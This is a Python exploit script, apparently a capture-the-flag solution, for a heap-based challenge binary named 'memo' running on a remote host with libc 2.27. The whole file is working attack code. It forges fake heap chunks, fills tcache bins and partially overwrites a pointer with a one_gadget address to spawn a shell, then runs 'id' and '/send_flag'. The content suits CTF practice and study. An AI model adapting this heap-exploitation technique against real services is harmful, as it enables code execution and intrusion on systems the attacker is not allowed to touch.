#!/usr/bin/env python
from inv_memo import *

bin_file = './memo'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'challenge', 'port':4296})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.27.so')
env.set_item('one_gadget', debug = 0xaee38c, local = 0xe4138c, remote = 0xe4138c)
env.select('remote')

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc

#==========

def attack(conn, **kwargs):
    fake_chunk = [0]*8
    fake_chunk[1] = 0x21;
    fake_chunk[5] = 0x11;
    fake_chunk[7] = 0x11;

    iv = InvisibleMemo(conn, ''.join(map(p64, fake_chunk))[:-1])
    iv.newkey(''.join(map(p64, fake_chunk))[:0x10])

    for _ in range(7):
        iv.add(0x18, None, 0x100)
    for _ in range(7):
        iv.add(0x88, None, 0x100)

    iv.delete(2, -1)
    iv.add(0x88, None, 0x100)

    iv.newkey(p64(0)+p64(0x183))
    iv.add(0x178, p32(env.one_gadget)[:3], 0x98)
    
    conn.sendlineafter('> ', '0')
    conn.sendlineafter('Bye!\n', 'id')
    conn.recv(1)

#==========

if __name__=='__main__':
    comn = Communicate(env.mode, **env.target)
    comn.connect()
    if env.check('remote'):
        comn.run(attack)
        comn.connection.sendline('/send_flag')
    else:
        comn.bruteforce(attack)
        comn.connection.interactive()

#==========
